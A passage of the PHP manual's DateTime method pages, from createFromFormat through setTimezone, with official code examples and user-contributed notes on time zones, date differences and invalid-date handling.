?>

Procedural style

<?php
$date = date_create_from_format('j-M-Y', '15-Feb-2009');
echo date_format($date, 'Y-m-d');
?>

The above examples will output:

2009-02-15

Example #2 Intricacies of DateTime::createFromFormat()

<?php
echo 'Current time: ' . date('Y-m-d H:i:s') . "\n";

$format = 'Y-m-d';
$date = DateTime::createFromFormat($format, '2009-02-15');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = 'Y-m-d H:i:s';
$date = DateTime::createFromFormat($format, '2009-02-15 15:16:17');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = 'Y-m-!d H:i:s';
$date = DateTime::createFromFormat($format, '2009-02-15 15:16:17');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = '!d';
$date = DateTime::createFromFormat($format, '15');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";
?>

The above example will output something similar to:

Current time: 2010-04-23 10:29:35
Format: Y-m-d; 2009-02-15 10:29:35
Format: Y-m-d H:i:s; 2009-02-15 15:16:17
Format: Y-m-!d H:i:s; 1970-01-15 15:16:17
Format: !d; 1970-01-15 00:00:00

See Also

  • DateTime::__construct() - Returns new DateTime object
  • DateTime::getLastErrors() - Returns the warnings and errors
  • checkdate() - Validate a Gregorian date
  • strptime() - Parse a time/date generated with strftime

User Contributed Notes

Aurelien Marchand 29-Mar-2011 07:13
Beware specifying a timezone in the format as it will take precedence over the DateTimeZone object.

<?php
$timezone = "UTC"; // or any other valid name for a timezone
$d= DateTime::createFromFormat("Y-m-d H:i:s T","2011-11-06 00:00:00 EDT",new DateTimeZone($timezone));
echo $d->format("Y-m-d H:i:s T - U");
// returns "2011-11-06 00:00:00 EDT - 1320552000"
// specifying $timezone = "Pacific/Honolulu"; would return the same string
?>

This gets hairy when you are playing with transition from summer time to winter time! For instance, in Toronto, the time change happens on 2011-11-06. One second after 01:59:59 (EDT), the time becomes 01:00:00 (EST), or 1320559200 in Unix timestamp.

However, notice the following:
<?php
$d = DateTime::createFromFormat("Y-m-d H:i:s","2011-11-06 01:00:00",new DateTimeZone("EST"));
echo $d->format("Y-m-d H:i:s T U");
// returns "2011-11-06 01:00:00 EDT 1320555600" instead of "2011-11-06 01:00:00 EST 1320559200"

// so the correct way is to do:
$d = DateTime::createFromFormat("Y-m-d H:i:s T","2011-11-06 01:00:00 EST",new DateTimeZone($timezone)); // set $timezone to any valid string for DateTimeZone, it doesn't matter
echo $d->format("Y-m-d H:i:s T U");
// returns "2011-11-06 01:00:00 EST - 1320559200" as wanted

?>
klugg at tlen dot pl 14-Mar-2011 09:52
In order to use a DateTimeZone, don't enter one of the DateTimeZone::Europe, DateTimeZone::Asia etc. constants, but create a DateTimeZone object with verbal timezone name passed as a string:
<?php
$eventDate = DateTime::createFromFormat('m/d/y h:i', '02/26/11 08:00', new DateTimeZone('Europe/Warsaw'));
echo date_format($eventDate, 'Y-m-d'); //prints "2011-02-26"

?>
Anonymous 06-Jan-2011 11:55
You can use the ISO8601 constant instead:

$date = DateTime::createFromFormat(DateTime::ISO8601, date("c"))

You can view the other constants at:
http://php.net/manual/en/class.datetime.php
Damien Cuvillier 19-Oct-2010 02:43
This function seems to not support ISO 8601 format yet.

This fixe solves the problems:
use format : "Y-m-d\TH:i:sP"
DateTime::__construct
DateTime::diff
DateTime


Returns the difference between two DateTime objects

DateTime::createFromFormat
DateTime::format
DateTime
PHP Manual

DateTime::diff

date_diff

(PHP 5 >= 5.3.0)

DateTime::diff -- date_diff — Returns the difference between two DateTime objects

Description

Object oriented style

public DateInterval DateTime::diff ( DateTime $datetime2 [, bool $absolute = false ] )

Procedural style

DateInterval date_diff ( DateTime $datetime1 , DateTime $datetime2 [, bool $absolute = false ] )

Returns the difference between two DateTime objects.

Parameters

datetime

The date to compare to.

absolute

Whether to return absolute difference.

Return Values

The DateInterval object representing the difference between the two dates or FALSE on failure.

Examples

Example #1 DateTime::diff() example

Object oriented style

<?php
$datetime1 = new DateTime('2009-10-11');
$datetime2 = new DateTime('2009-10-13');
$interval = $datetime1->diff($datetime2);
echo $interval->format('%R%a days');
?>

Procedural style

<?php
$datetime1 = date_create('2009-10-11');
$datetime2 = date_create('2009-10-13');
$interval = date_diff($datetime1, $datetime2);
echo $interval->format('%R%a days');
?>

The above examples will output:

+2 days

Example #2 DateTime object comparison

Note:

As of PHP 5.2.2, DateTime objects can be compared using comparison operators.

<?php
$date1 = new DateTime("now");
$date2 = new DateTime("tomorrow");

var_dump($date1 == $date2);
var_dump($date1 < $date2);
var_dump($date1 > $date2);
?>

The above example will output:

bool(false)
bool(true)
bool(false)

See Also

  • DateInterval::format() - Formats the interval
  • DateTime::add() - Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object
  • DateTime::sub() - Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object

User Contributed Notes

toreskobba at gmail dot com 10-Nov-2011 03:24
When using datediff make sure your time zone is correct, for me on Windows 7 64 bit it behaved very strange when timezone was wrong (I was comparing now against time in database and exif metadata in photos). For example: date_default_timezone_set('Europe/Oslo');
astagl at gmail dot com 09-Nov-2011 08:21
I needed to get the exact number of days between 2 dates and was relying on the this diff function, but found that I was getting a peculiar result with:

<?php
    $today = new DateTime(date('2011-11-09'));
    $appt  = new DateTime(date('2011-12-09'));
    $days_until_appt = $appt->diff($today)->d;
?>

This was returning 0 because it was exactly one month.

I had to end up using :

<?php
    $days_until_appt = $appt->diff($today)->days;
?>

to get 30.
Anonymous 03-Oct-2011 08:12
$dateTime = new DateTime('2011-08-01 00:00:00');
echo $dateTime->diff(new DateTime('2011-10-01 00:00:01'))->format('%m');

will return 1, instead of 2 ...
milespickens+php at gmail dot com 16-May-2011 03:00
I was looking for a way to output X number of days from a given date and didn't find exactly what I was looking for.  But I got this working.  I hope this helps you.

This will output the number of days,months, or years difference between NOW and a April 1st, 2011.

<?php
    $date1 = new DateTime('2011-04-01');
    $date2 = new DateTime("now");
    $interval = $date1->diff($date2);
    $years = $interval->format('%y');
    $months = $interval->format('%m');
    $days = $interval->format('%d');
    if($years!=0){
        $ago = $years.' year(s) ago';
    }else{
        $ago = ($months == 0 ? $days.' day(s) ago' : $months.' month(s) ago');
    }
    echo $ago;
?>

If I used today, 2011-05-16 as $date1, I could return all 0's in the format.  For example....

<?php
        $date1 = new DateTime('2011-05-161');
    $date2 = new DateTime("now");
    $interval = $date1->diff($date2);
    $diff = $interval->format('%y-%m-%d');
    echo $diff;  //Today, this will output 0-0-0
?>
Grgoire Marchal 18-Feb-2011 02:22
Warning, there's a bug on windows platforms: the result is always 6015 days (and not 42...)

http://bugs.php.net/bug.php?id=51184
schindhelm at gmail dot com 21-Jan-2011 12:48
I found that DateTime::diff isn't as accurate as I thought. I calculated the age gap between now and a birthdate from before 1970 (unix epoch). Here's what I got:

Given today is January 21st, 2011:

<?php
date_default_timezone_set('Europe/Berlin');

// birthdate format is YYYY-MM-DD
$birth = new DateTime('1966-01-21');
$today = new DateTime();
$diff = $birth->diff($today);
echo $diff->format('%y'); // will output 45

$birth = new DateTime('1966-01-23');
$today = new DateTime();
$diff = $birth->diff($today);
echo $diff->format('%y'); // will output 45 wrongly

$birth = new DateTime('1966-01-24'); // three days difference!
$today = new DateTime();
$diff = $birth->diff($today);
echo $diff->format('%y'); // will output 44 - correct
?>

When calculating with the date() function it was more accurate (didn't use seconds/hours for comparison).

Note that 3 days may be a lot if you want to create invoices and have to check against a given age to determine if the customer is chargable for taxes and so on.

If someone also found this behaviour I'd like to hear about it - give me a quick mail at schindhelm (at) gmail (dot) com.
Thanks.
Umair Ashraf 21-Nov-2010 11:49
for PHP version 5.3

<?php
function pluralize( $count, $text )
{
    return $count . ( ( $count == 1 ) ? ( " $text" ) : ( " ${text}s" ) );
}

function ago( $datetime )
{
    $interval = date_create('now')->diff( $datetime );
    $suffix = ( $interval->invert ? ' ago' : '' );
    if ( $v = $interval->y >= 1 ) return pluralize( $interval->y, 'year' ) . $suffix;
    if ( $v = $interval->m >= 1 ) return pluralize( $interval->m, 'month' ) . $suffix;
    if ( $v = $interval->d >= 1 ) return pluralize( $interval->d, 'day' ) . $suffix;
    if ( $v = $interval->h >= 1 ) return pluralize( $interval->h, 'hour' ) . $suffix;
    if ( $v = $interval->i >= 1 ) return pluralize( $interval->i, 'minute' ) . $suffix;
    return pluralize( $interval->s, 'second' ) . $suffix;
}
?>

for PHP version 5.2

<?php
public function ago($dt)
{
    $dt = date_parse($dt);
    $now = date_parse(date("Y-m-d H:i:s"));

    $suffix = " ago";

    if ($now['year'] != $dt['year']) return $this->pluralize($now['year'] - $dt['year'], "year") . $suffix;
    if ($now['month'] != $dt['month']) return $this->pluralize($now['month'] - $dt['month'], "month") . $suffix;
    if ($now['day'] != $dt['day']) return $this->pluralize($now['day'] - $dt['day'], "day") . $suffix;
    if ($now['hour'] != $dt['hour']) return $this->pluralize($now['hour'] - $dt['hour'], "hour") . $suffix;
    if ($now['minute'] != $dt['minute']) return $this->pluralize($now['minute'] - $dt['minute'], "minute") . $suffix;
    if ($now['second'] != $dt['second']) return $this->pluralize($now['second'] - $dt['second'], "second") . $suffix;
        return "just now";
}

private function pluralize($count, $text)
{
    return $count . (($count == 1) ? (" $text") : (" ${text}s"));
}
?>
acrion at gmail dot com 13-May-2010 08:52
If you want to quickly scan through the resulting intervals, you can use the undocumented properties of DateInterval.

The function below returns a single number of years, months, days, hours, minutes or seconds between the current date and the provided date.  If the date occurs in the past (is negative/inverted), it suffixes it with 'ago'.

<?php
function pluralize( $count, $text )
{
    return $count . ( ( $count == 1 ) ? ( " $text" ) : ( " ${text}s" ) );
}

function ago( $datetime )
{
    $interval = date_create('now')->diff( $datetime );
    $suffix = ( $interval->invert ? ' ago' : '' );
    if ( $v = $interval->y >= 1 ) return pluralize( $interval->y, 'year' ) . $suffix;
    if ( $v = $interval->m >= 1 ) return pluralize( $interval->m, 'month' ) . $suffix;
    if ( $v = $interval->d >= 1 ) return pluralize( $interval->d, 'day' ) . $suffix;
    if ( $v = $interval->h >= 1 ) return pluralize( $interval->h, 'hour' ) . $suffix;
    if ( $v = $interval->i >= 1 ) return pluralize( $interval->i, 'minute' ) . $suffix;
    return pluralize( $interval->s, 'second' ) . $suffix;
}
?>
Dennis C 09-May-2010 11:24
For those like me who don't yet have PHP 5.3 installed on their host, here's a simple alternative to get the number of days between two dates in the format '2010-3-23' or similar acceptable to strtotime().  You need PHP 5.2.

<?php
function date_diff($date1, $date2) {
    $current = $date1;
    $datetime2 = date_create($date2);
    $count = 0;
    while(date_create($current) < $datetime2){
        $current = gmdate("Y-m-d", strtotime("+1 day", strtotime($current)));
        $count++;
    }
    return $count;
}

echo (date_diff('2010-3-9', '2011-4-10')." days <br \>");
?>
Anonymous 04-Aug-2009 05:17
You don't need to calculate the exact difference if you just want to know what date comes earlier:

<?php

date_default_timezone_set('Europe/Madrid');

$d1 = new DateTime('1492-01-01');
$d2 = new DateTime('1492-12-31');

var_dump($d1 < $d2);
var_dump($d1 > $d2);
var_dump($d1 == $d2);

?>

bool(true)
bool(false)
bool(false)
DateTime::createFromFormat
DateTime::format
DateTime


Returns date formatted according to given format

DateTime::diff
DateTime::getLastErrors
DateTime
PHP Manual

DateTime::format

date_format

(PHP 5 >= 5.2.0)

DateTime::format -- date_format — Returns date formatted according to given format

Description

Object oriented style

public string DateTime::format ( string $format )

Procedural style

string date_format ( DateTime $object , string $format )

Returns date formatted according to given format.

Parameters

object

Procedural style only: A DateTime object returned by date_create()

format

Format accepted by date().

Return Values

Returns the formatted date string on success or FALSE on failure.

Examples

Example #1 DateTime::format() example

Object oriented style

<?php
$date = new DateTime('2000-01-01');
echo $date->format('Y-m-d H:i:s');
?>

Procedural style

<?php
$date = date_create('2000-01-01');
echo date_format($date, 'Y-m-d H:i:s');
?>

The above example will output:

2000-01-01 00:00:00

Notes

This method does not use locales. All output is in English.

See Also

  • date() - Format a local time/date

User Contributed Notes

ca at agercon dot dk 01-Jul-2011 08:16
The date_format can be use to get the last day of February:

<?php

function last_day_of_feb ($year) {
# The 0th day of a month is the same as the last day of the month before
        $ultimo_feb_str = $year . "-03-00";
        $ultimo_feb_date = date_create($ultimo_feb_str);
        $return = date_format($ultimo_feb_date, "Y-m-d");
        return $return;
}

echo last_day_of_feb(2011) . "\n"; # 2011-02-28
echo last_day_of_feb(2012) . "\n"; # 2011-02-29

?>
James Meyer 06-Jan-2011 11:49
A note about version differences - the results of this function differ significantly from php 5.2.x to 5.3.x .

The 5.2 implementations will often parse to non-sensical values, such as:

1964/11-12: 1964/-99999/-99999
12/11-1964: -99999/12/11
12-31-1964: -99999/-99999/-99999
11121875: 1112/01/187
01321901: 0132/01/190

(this one makes sense, but was a poor guess)
31/12/1964: 1964/01/12

In 5.3+, these all come back as false, as I would expect.  5.2 was just a little optimistic about it's ability to parse dates, I guess.
eggerjohansi at gmail dot com 21-Apr-2010 09:04
if you want to use e.g. german weekdays you could add the following class as a temporary solution...
<?php
class DateTimeGerman extends DateTime {
    public function format($format) {
        $english = array('Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday');
        $german = array('Montag', 'Dienstag', 'Mittwoch', 'Donnerstag', 'Freitag', 'Samstag', 'Sonntag');
        return str_replace($english, $german, parent::format($format));
    }
}
?>
it hasn't anything to do with nice programming but it works if you construct a
<?php
$dt = new DateTimeGerman();
?>
instead of
<?php
$dt = new DateTime();
?>
DateTime::diff
DateTime::getLastErrors
DateTime


Returns the warnings and errors

DateTime::format
DateTime::getOffset
DateTime
PHP Manual

DateTime::getLastErrors

date_get_last_errors

(PHP 5 >= 5.3.0)

DateTime::getLastErrors -- date_get_last_errors — Returns the warnings and errors

Description

Object oriented style

public static array DateTime::getLastErrors ( void )

Procedural style

array date_get_last_errors ( void )

Returns an array of warnings and errors found while parsing a date/time string.

Parameters

This function has no parameters.

Return Values

Returns array containing info about warnings and errors.

Examples

Example #1 DateTime::getLastErrors() example

Object oriented style

<?php
try {
    $date = new DateTime('asdfasdf');
} catch (Exception $e) {
    // For demonstration purposes only...
    print_r(DateTime::getLastErrors());

    // The real object oriented way to do this is
    // echo $e->getMessage();
}
?>

Procedural style

<?php
$date = date_create('asdfasdf');
print_r(date_get_last_errors());
?>

The above examples will output:

Array
(
   [warning_count] => 1
   [warnings] => Array
       (
           [6] => Double timezone specification
       )

   [error_count] => 1
   [errors] => Array
       (
           [0] => The timezone could not be found in the database
       )

)

User Contributed Notes

framework at photon-project dot com 28-Feb-2011 12:08
DateTime::createFromFormat is smart to handle the cases where you input an invalid date, like April 31st, and convert it to May 1st. In some cases, you do not want this automatic smart handling of the dates for example in a user input form where you want to be sure that your user did input the date he wanted. To do that, you need to get access to the warnings, this method is the only way to do it:

<?php
$date = DateTime::createFromFormat('Y-m-d', '1999-04-31');
print $date->format('Y-m-d') . PHP_EOL;
print_r(DateTime::getLastErrors());
?>

The output is:

1999-05-01
Array
(
    [warning_count] => 1
    [warnings] => Array
        (
            [10] => The parsed date was invalid
        )

    [error_count] => 0
    [errors] => Array
        (
        )

)

So, here you can see, you have a warning because the date was invalid, but not an error because PHP was smart enough to convert it into a valid date. It is then up to you to do something with this information.
DateTime::format
DateTime::getOffset
DateTime


Returns the timezone offset

DateTime::getLastErrors
DateTime::getTimestamp
DateTime
PHP Manual

DateTime::getOffset

date_offset_get

(PHP 5 >= 5.2.0)

DateTime::getOffset -- date_offset_get — Returns the timezone offset

Description

Object oriented style

public int DateTime::getOffset ( void )

Procedural style

int date_offset_get ( DateTime $object )

Returns the timezone offset.

Parameters

object

Procedural style only: A DateTime object returned by date_create()

Return Values

Returns the timezone offset in seconds from UTC on success or FALSE on failure.

Examples

Example #1 DateTime::getOffset() example

Object oriented style

<?php
$winter = new DateTime('2010-12-21', new DateTimeZone('America/New_York'));
$summer = new DateTime('2008-06-21', new DateTimeZone('America/New_York'));

echo $winter->getOffset() . "\n";
echo $summer->getOffset() . "\n";
?>

Procedural style

<?php
$winter = date_create('2010-12-21', timezone_open('America/New_York'));
$summer = date_create('2008-06-21', timezone_open('America/New_York'));

echo $winter->getOffset() . "\n";
echo $summer->getOffset() . "\n";
?>

The above examples will output:

-18000
-14400

Note: -18000 = -5 hours, -14400 = -4 hours.

User Contributed Notes

There are no user contributed notes for this page.
DateTime::getLastErrors
DateTime::getTimestamp
DateTime


Gets the Unix timestamp

DateTime::getOffset
DateTime::getTimezone
DateTime
PHP Manual

DateTime::getTimestamp

date_timestamp_get

(PHP 5 >= 5.3.0)

DateTime::getTimestamp -- date_timestamp_get — Gets the Unix timestamp

Description

Object oriented style

public int DateTime::getTimestamp ( void )

Procedural style

int date_timestamp_get ( DateTime $object )

Gets the Unix timestamp.

Parameters

This function has no parameters.

Return Values

Returns the Unix timestamp representing the date.

Examples

Example #1 DateTime::getTimestamp() example

Object oriented style

<?php
$date = new DateTime();
echo $date->getTimestamp();
?>

Procedural style

<?php
$date = date_create();
echo date_timestamp_get($date);
?>

The above examples will output something similar to:

1272509157

Notes

Using U as the parameter to DateTime::format() is an alternative when using PHP 5.2.

See Also

  • DateTime::setTimestamp() - Sets the date and time based on an Unix timestamp
  • DateTime::format() - Returns date formatted according to given format

User Contributed Notes

xwisdom at yahoo dot com 25-Aug-2010 02:13
It's important to note that on 32-Bit systems getTimestamp() will return false for dates greater than 2038, while format("U") will return an unsigned integer

This will return false:

<?php
    $dt = new DateTime('2039/1/1');
    echo  $dt->getTimestamp();
?>

But this will return a value:

<?php
    $dt = new DateTime('2039/1/1');
    echo  $dt->format('U');
?>
Justin Heesemann 11-Jun-2010 02:57
Note that for dates before the unix epoch getTimestamp() will return false, whereas format("U") will return a negative number.

<?php
$date = new DateTime("1899-12-31");
// "-2209078800"
echo $date->format("U");
// false
echo $date->getTimestamp();
?>
DateTime::getOffset
DateTime::getTimezone
DateTime


Return time zone relative to given DateTime

DateTime::getTimestamp
DateTime::modify
DateTime
PHP Manual

DateTime::getTimezone

date_timezone_get

(PHP 5 >= 5.2.0)

DateTime::getTimezone -- date_timezone_get — Return time zone relative to given DateTime

Description

Object oriented style

public DateTimeZone DateTime::getTimezone ( void )

Procedural style

DateTimeZone date_timezone_get ( DateTime $object )

Return time zone relative to given DateTime.

Parameters

object

Procedural style only: A DateTime object returned by date_create()

Return Values

Returns a DateTimeZone object on success or FALSE on failure.

Examples

Example #1 DateTime::getTimezone() example

Object oriented style

<?php
$date = new DateTime(null, new DateTimeZone('Europe/London'));
$tz = $date->getTimezone();
echo $tz->getName();
?>

Procedural style

<?php
$date = date_create(null, timezone_open('Europe/London'));
$tz = date_timezone_get($date);
echo timezone_name_get($tz);
?>

The above examples will output:

Europe/London

See Also

  • DateTime::setTimezone() - Sets the time zone for the DateTime object

User Contributed Notes

There are no user contributed notes for this page.
DateTime::getTimestamp
DateTime::modify
DateTime


Alters the timestamp

DateTime::getTimezone
DateTime::__set_state
DateTime
PHP Manual

DateTime::modify

date_modify

(PHP 5 >= 5.2.0)

DateTime::modify -- date_modify — Alters the timestamp

Description

Object oriented style

public DateTime DateTime::modify ( string $modify )

Procedural style

DateTime date_modify ( DateTime $object , string $modify )

Alter the timestamp of a DateTime object by incrementing or decrementing in a format accepted by strtotime().

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

modify

A date/time string. Valid formats are explained in Date and Time Formats.

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Changelog

Version | Description
5.3.6 | Absolute date/time statements now take effect. Previously, only relative parts were used.
5.3.0 | Changed the return value on success from NULL to DateTime.

Examples

Example #1 DateTime::modify() example

Object oriented style

<?php
$date = new DateTime('2006-12-12');
$date->modify('+1 day');
echo $date->format('Y-m-d');
?>

Procedural style

<?php
$date = date_create('2006-12-12');
date_modify($date, '+1 day');
echo date_format($date, 'Y-m-d');
?>

The above examples will output:

2006-12-13

Example #2 Beware when adding or subtracting months

<?php
$date = new DateTime('2000-12-31');

$date->modify('+1 month');
echo $date->format('Y-m-d') . "\n";

$date->modify('+1 month');
echo $date->format('Y-m-d') . "\n";
?>

The above example will output:

2001-01-31
2001-03-03

See Also

  • strtotime() - Parse about any English textual datetime description into a Unix timestamp
  • DateTime::add() - Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object
  • DateTime::sub() - Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object
  • DateTime::setDate() - Sets the date
  • DateTime::setISODate() - Sets the ISO date
  • DateTime::setTime() - Sets the time
  • DateTime::setTimestamp() - Sets the date and time based on an Unix timestamp

User Contributed Notes

tom at r dot je 18-Jun-2009 07:43
If you want to find the next working day (assuming mon-fri) you can use this:

<?php
$d = new DateTime();

$day = $d->format('w');

if ($day == 0 || $day >= 5) $d->modify('+' . ((7-$day+1) % 7) . ' days');
else $d->modify('+1 day');
?>
DateTime::getTimezone
DateTime::__set_state
DateTime


The __set_state handler

DateTime::modify
DateTime::setDate
DateTime
PHP Manual

DateTime::__set_state

(PHP 5 >= 5.2.0)

DateTime::__set_state — The __set_state handler

Description

public static DateTime DateTime::__set_state ( array $array )

The __set_state() handler.

Parameters

array

Initialization array.

Return Values

Returns a new instance of a DateTime object.

User Contributed Notes

There are no user contributed notes for this page.
DateTime::modify
DateTime::setDate
DateTime


Sets the date

DateTime::__set_state
DateTime::setISODate
DateTime
PHP Manual

DateTime::setDate

date_date_set

(PHP 5 >= 5.2.0)

DateTime::setDate -- date_date_set — Sets the date

Description

Object oriented style

public DateTime DateTime::setDate ( int $year , int $month , int $day )

Procedural style

DateTime date_date_set ( DateTime $object , int $year , int $month , int $day )

Resets the current date of the DateTime object to a different date.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

year

Year of the date.

month

Month of the date.

day

Day of the date.

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Changelog

Version | Description
5.3.0 | Changed the return value on success from NULL to DateTime.

Examples

Example #1 DateTime::setDate() example

Object oriented style

<?php
$date = new DateTime();
$date->setDate(2001, 2, 3);
echo $date->format('Y-m-d');
?>

Procedural style

<?php
$date = date_create();
date_date_set($date, 2001, 2, 3);
echo date_format($date, 'Y-m-d');
?>

The above examples will output:

2001-02-03

Example #2 Values exceeding ranges are added to their parent values

<?php
$date = new DateTime();

$date->setDate(2001, 2, 28);
echo $date->format('Y-m-d') . "\n";

$date->setDate(2001, 2, 29);
echo $date->format('Y-m-d') . "\n";

$date->setDate(2001, 14, 3);
echo $date->format('Y-m-d') . "\n";
?>

The above example will output:

2001-02-28
2001-03-01
2002-02-03

See Also

  • DateTime::setISODate() - Sets the ISO date
  • DateTime::setTime() - Sets the time

User Contributed Notes

remy215 at laposte dot net 11-Jan-2012 10:59
Be warned, DateTime::setDate() does not check for invalid input.

Illustration:
<?php
$dt = new DateTime();
$dt->setDate(2012, 11, 31); // returns DateTime object and not false although this date does not exist
echo $dt->format('Y-m-d'); // output: 2012-12-01
?>

No error was generated on entering a non existing date, php silently changed it.
DateTime::__set_state
DateTime::setISODate
DateTime


Sets the ISO date

DateTime::setDate
DateTime::setTime
DateTime
PHP Manual

DateTime::setISODate

date_isodate_set

(PHP 5 >= 5.2.0)

DateTime::setISODate -- date_isodate_set — Sets the ISO date

Description

Object oriented style

public DateTime DateTime::setISODate ( int $year , int $week [, int $day = 1 ] )

Procedural style

DateTime date_isodate_set ( DateTime $object , int $year , int $week [, int $day = 1 ] )

Set a date according to the ISO 8601 standard - using weeks and day offsets rather than specific dates.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

year

Year of the date.

week

Week of the date.

day

Offset from the first day of the week.

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Changelog

Version | Description
5.3.0 | Changed the return value on success from NULL to DateTime.

Examples

Example #1 DateTime::setISODate() example

Object oriented style

<?php
$date = new DateTime();

$date->setISODate(2008, 2);
echo $date->format('Y-m-d') . "\n";

$date->setISODate(2008, 2, 7);
echo $date->format('Y-m-d') . "\n";
?>

Procedural style

<?php
$date = date_create();

date_isodate_set($date, 2008, 2);
echo date_format($date, 'Y-m-d') . "\n";

date_isodate_set($date, 2008, 2, 7);
echo date_format($date, 'Y-m-d') . "\n";
?>

The above examples will output:

2008-01-07
2008-01-13

Example #2 Values exceeding ranges are added to their parent values

<?php
$date = new DateTime();

$date->setISODate(2008, 2, 7);
echo $date->format('Y-m-d') . "\n";

$date->setISODate(2008, 2, 8);
echo $date->format('Y-m-d') . "\n";

$date->setISODate(2008, 53, 7);
echo $date->format('Y-m-d') . "\n";
?>

The above example will output:

2008-01-13
2008-01-14
2009-01-04

Example #3 Finding the month a week is in

<?php
$date = new DateTime();
$date->setISODate(2008, 14);
echo $date->format('n');
?>

The above examples will output:

3

See Also

  • DateTime::setDate() - Sets the date
  • DateTime::setTime() - Sets the time

User Contributed Notes

There are no user contributed notes for this page.
DateTime::setDate
DateTime::setTime
DateTime


Sets the time

DateTime::setISODate
DateTime::setTimestamp
DateTime
PHP Manual

DateTime::setTime

date_time_set

(PHP 5 >= 5.2.0)

DateTime::setTime -- date_time_set — Sets the time

Description

Object oriented style

public DateTime DateTime::setTime ( int $hour , int $minute [, int $second = 0 ] )

Procedural style

DateTime date_time_set ( DateTime $object , int $hour , int $minute [, int $second = 0 ] )

Resets the current time of the DateTime object to a different time.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

hour

Hour of the time.

minute

Minute of the time.

second

Second of the time.

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Changelog

Version | Description
5.3.0 | Changed the return value on success from NULL to DateTime.

Examples

Example #1 DateTime::setTime() example

Object oriented style

<?php
$date = new DateTime('2001-01-01');

$date->setTime(14, 55);
echo $date->format('Y-m-d H:i:s') . "\n";

$date->setTime(14, 55, 24);
echo $date->format('Y-m-d H:i:s') . "\n";
?>

Procedural style

<?php
$date = date_create('2001-01-01');

date_time_set($date, 14, 55);
echo date_format($date, 'Y-m-d H:i:s') . "\n";

date_time_set($date, 14, 55, 24);
echo date_format($date, 'Y-m-d H:i:s') . "\n";
?>

The above examples will output something similar to:

2000-01-01 14:55:00
2000-01-01 14:55:24

Example #2 Values exceeding ranges are added to their parent values

<?php
$date = new DateTime('2001-01-01');

$date->setTime(14, 55, 24);
echo $date->format('Y-m-d H:i:s') . "\n";

$date->setTime(14, 55, 65);
echo $date->format('Y-m-d H:i:s') . "\n";

$date->setTime(14, 65, 24);
echo $date->format('Y-m-d H:i:s') . "\n";

$date->setTime(25, 55, 24);
echo $date->format('Y-m-d H:i:s') . "\n";
?>

The above example will output:

2001-01-01 14:55:24
2001-01-01 14:56:05
2001-01-01 15:05:24
2001-01-02 01:55:24

See Also

  • DateTime::setDate() - Sets the date
  • DateTime::setISODate() - Sets the ISO date

User Contributed Notes

There are no user contributed notes for this page.
DateTime::setISODate
DateTime::setTimestamp
DateTime


Sets the date and time based on an Unix timestamp

DateTime::setTime
DateTime::setTimezone
DateTime
PHP Manual

DateTime::setTimestamp

date_timestamp_set

(PHP 5 >= 5.3.0)

DateTime::setTimestamp -- date_timestamp_set — Sets the date and time based on an Unix timestamp

Description

Object oriented style

public DateTime DateTime::setTimestamp ( int $unixtimestamp )

Procedural style

DateTime date_timestamp_set ( DateTime $object , int $unixtimestamp )

Sets the date and time based on an Unix timestamp.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

unixtimestamp

Unix timestamp representing the date.

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Examples

Example #1 DateTime::setTimestamp() example

Object oriented style

<?php
$date = new DateTime();
echo $date->format('U = Y-m-d H:i:s') . "\n";

$date->setTimestamp(1171502725);
echo $date->format('U = Y-m-d H:i:s') . "\n";
?>

Procedural style

<?php
$date = date_create();
echo date_format($date, 'U = Y-m-d H:i:s') . "\n";

date_timestamp_set($date, 1171502725);
echo date_format($date, 'U = Y-m-d H:i:s') . "\n";
?>

The above examples will output something similar to:

1272508903 = 2010-04-28 22:41:43
1171502725 = 2007-02-14 20:25:25

Notes

Using the Unix timestamp format to construct a new DateTime object is an alternative when using PHP 5.2, as shown in the example below.

Example #2 DateTime::setTimestamp() alternative in PHP 5.2

<?php
$ts = 1171502725;
$date = new DateTime("@$ts");
echo $date->format('U = Y-m-d H:i:s') . "\n";
?>

The above example will output something similar to:

1171502725 = 2007-02-14 20:25:25

See Also

  • DateTime::getTimestamp() - Gets the Unix timestamp

User Contributed Notes

linblow at hotmail dot fr 04-Apr-2011 12:40
If your PHP version is lower than 5.3 then you can use this class to be able to use the functions "setTimestamp" and "getTimestamp":

<?php

class MyDateTime extends DateTime
{
    public function setTimestamp( $timestamp )
    {
        $date = getdate( ( int ) $timestamp );
        $this->setDate( $date['year'] , $date['mon'] , $date['mday'] );
        $this->setTime( $date['hours'] , $date['minutes'] , $date['seconds'] );
    }

    public function getTimestamp()
    {
        return $this->format( 'U' );
    }
}

$date = new MyDateTime();
$date->setTimestamp( $someTimestamp );

echo $date->format( 'd/m/Y H:i:s' );

?>
Use Web Form at Aouie.net 10-Sep-2010 10:15
When the exact time is important then it is important to note the difference between this and the UnixTimeStamp. The function will change the timestamp if necessary to take into account the daylight savings time.
e.g. Working with the 'Europe/London' timezone and setting the DateTime object to a timestamp of 1288486753 will result in the function automatically altering it to 1288490353.
This is because it is taking the fall time instead of the summer time (they will both be Sun, 31-Oct-2010 01:X:Y (I didn't check the hour and minute)).
Sincerely,
Aouie
DateTime::setTime
DateTime::setTimezone
DateTime


Sets the time zone for the DateTime object

DateTime::setTimestamp
DateTime::sub
DateTime
PHP Manual

DateTime::setTimezone

date_timezone_set

(PHP 5 >= 5.2.0)

DateTime::setTimezone -- date_timezone_set — Sets the time zone for the DateTime object

Description

Object oriented style

public DateTime DateTime::setTimezone ( DateTimeZone $timezone )

